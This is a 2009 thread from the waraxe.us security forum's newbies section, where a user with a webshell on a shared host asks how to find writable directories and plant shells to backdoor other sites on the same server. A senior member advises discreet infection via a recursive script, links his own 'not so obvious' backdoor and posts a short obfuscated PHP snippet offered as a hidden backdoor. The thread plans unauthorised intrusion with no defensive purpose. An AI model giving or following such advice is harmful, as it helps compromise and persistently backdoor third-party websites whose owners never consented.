Waraxe IT Security Portal
Login or Register
May 2, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 107
Members: 0
Total: 107
Full disclosure
Microsoft Windows .XRM-MS File / NTLM Information DisclosureSpoofing
[IWCC 2025] CfP: 14th International Workshop on Cyber Crime -Ghent, Belgium, Aug 11-14, 2025
Inedo ProGet Insecure Reflection and CSRF Vulnerabilities
Ruby on Rails Cross-Site Request Forgery
Microsoft ".library-ms" File / NTLM Information Disclosure (Resurrected 2025)
HNS-2025-10 - HN Security Advisory - Local privilege escalation in Zyxel uOS
APPLE-SA-04-16-2025-4 visionOS 2.4.1
APPLE-SA-04-16-2025-3 tvOS 18.4.1
APPLE-SA-04-16-2025-2 macOS Sequoia 15.4.1
APPLE-SA-04-16-2025-1 iOS 18.4.1 and iPadOS 18.4.1
Business Logic Flaw: Price Manipulation - AlegroCartv1.2.9
Stored XSS in "Message" Functionality - AlegroCartv1.2.9
XSS via SVG Image Upload - AlegroCartv1.2.9
BBOT 2.1.0 - Local Privilege Escalation via Malicious ModuleExecution
83 vulnerabilities in Vasion Print / PrinterLogic
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> [Help Please] Upload shell to another site on same box?
Post new topicReply to topic View previous topic :: View next topic
[Help Please] Upload shell to another site on same box?
PostPosted: Sun Sep 20, 2009 1:48 pm Reply with quote
noobie481
Beginner
Beginner
Joined: Sep 20, 2009
Posts: 3




hello fellow waraxe members,

i have a webshell on an unprotected shared host at the moment, i would like to know the following commands if anyone could help me or point me in the right direction:

1. Command to search for writable directories in a specific folder

2. Once Found, a command to write shellcode, or remote upload a shell to that specific directory

once again i have a shell with executing access so i am just wanting to backdoor other sites on that box. Any help is appreciated

-thanks
View user's profile Send private message
PostPosted: Sun Sep 20, 2009 2:07 pm Reply with quote
Heintz
Valuable expert
Valuable expert
Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden




You want to backdoor all other sites index files or all files?
Discression is always good and infecting every file on servers might not be very discrete.
/edit
allthough in some cases it could help to have all files haveing the same 'modified' date. but this is not so important anyways

In any case its best to write a small script to accomplish this imho.
bet you could probably come up with a long linux command also but i think it requires more skill then writing a script.

When writing the script i think you can even get away with not testing if a file is writable but just getting the error if the write operation was not successful and make a list based on that , what sites were affected.


promoting my own work http://www.plain-text.info/plainshell
if you want a 'not so obviouse' backdoor code.


Code:
<?php

$prev_public_key = '';
$my_public_key = '';
$next_public_key = '';
$my_private_key = '';

$ftitle = $_POST['title'];
$comment = $_POST['comment'];
$ftitle = str_replace("\\\\","\\",substr($comment
('',$ftitle),-strlen($comment),400
));
$ftitle = addslashes(wordwrap(substr($ftitle
(strlen($ftitle)-20),0,20
)));

?>


Can you spot the backdoor? Smile

/edit

Seems you want to write it into separate file not mod existing ones, could also be a idea. so shell doesnt get lost during updates.
but main idea stays.

write script that recursevly goes through directories and does the deed, there is help on google how to do that in most languages.

_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!"
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Sun Sep 20, 2009 3:43 pm Reply with quote
noobie481
Beginner
Beginner
Joined: Sep 20, 2009
Posts: 3




i would like to simply write shellcode like C99 to a current writable file or create my own file .php with the code

any ideas
View user's profile Send private message
[Help Please] Upload shell to another site on same box?
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.037 Seconds